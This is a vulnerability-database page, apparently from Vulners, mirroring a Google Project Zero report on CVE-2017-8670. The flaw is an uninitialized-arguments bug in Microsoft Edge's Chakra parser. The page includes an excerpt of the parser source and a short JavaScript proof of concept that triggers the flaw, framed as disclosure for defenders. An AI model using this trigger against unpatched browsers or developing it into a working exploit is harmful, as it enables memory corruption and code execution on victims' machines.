Lucene search
+L

Microsoft Edge Chakra Parser::ParseFncFormals Uninitialized Arguments Exploit

🗓️ 17 Aug 2017 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 77 Views

Microsoft Edge Chakra Parser Uninitialized Arguments Exploit CVE-2017-867

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Microsoft Edge Chakra - Uninitialized Arguments (2) Exploit
18 Aug 201700:00
–zdt
bdu_fstec
BDU FSTEC
Microsoft Edge Code Execution
25 Aug 201700:00
–bdu_fstec
circl
Circl
CVE-2017-8670
17 Aug 201700:00
–circl
cnvd
CNVD
Microsoft Edge Remote Code Execution Vulnerability (CNVD-2017-24171)
9 Aug 201700:00
–cnvd
checkpoint_advisories
Check Point Advisories
Microsoft Edge Scripting Engine Memory Corruption (CVE-2017-8670)
28 Aug 201700:00
–checkpoint_advisories
cve
CVE
CVE-2017-8670
8 Aug 201721:00
–cve
cvelist
Cvelist
CVE-2017-8638
8 Aug 201721:00
–cvelist
cvelist
Cvelist
CVE-2017-8670
8 Aug 201721:00
–cvelist
exploitdb
Exploit DB
Microsoft Edge Chakra - Uninitialized Arguments (2)
17 Aug 201700:00
–exploitdb
mskb
Microsoft KB
August 8, 2017—KB4034658 (OS Build 14393.1593)
8 Aug 201707:00
–mskb
Rows per page
Microsoft Edge: Chakra: Uninitialized arguments 2

CVE-2017-8670


Similar to the <a href="/p/project-zero/issues/detail?id=1297" title="Microsoft Edge: Chakra: Uninitialized arguments" class="closed_ref" rel="nofollow"> issue #1297 </a>. But this time, it happends in "Parser::ParseFncFormals" with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{
    ...
    if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
    {
        ...
        // Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
        for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
        {
            Assert(lexNode->IsVarLetOrConst());
            UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
            lexNode->sxVar.sym->SetSymbolType(STFormal);
            if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
            {
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam;  <<------ HERE
            }
        }
        ...
    ...
}

PoC:
function f() {
    ({a = ([arguments]) => {
    }} = 1);

    arguments.x;
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

#  0day.today [2018-02-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Aug 2017 00:00Current
7.3High risk
Vulners AI Score7.3
EPSS0.68729
77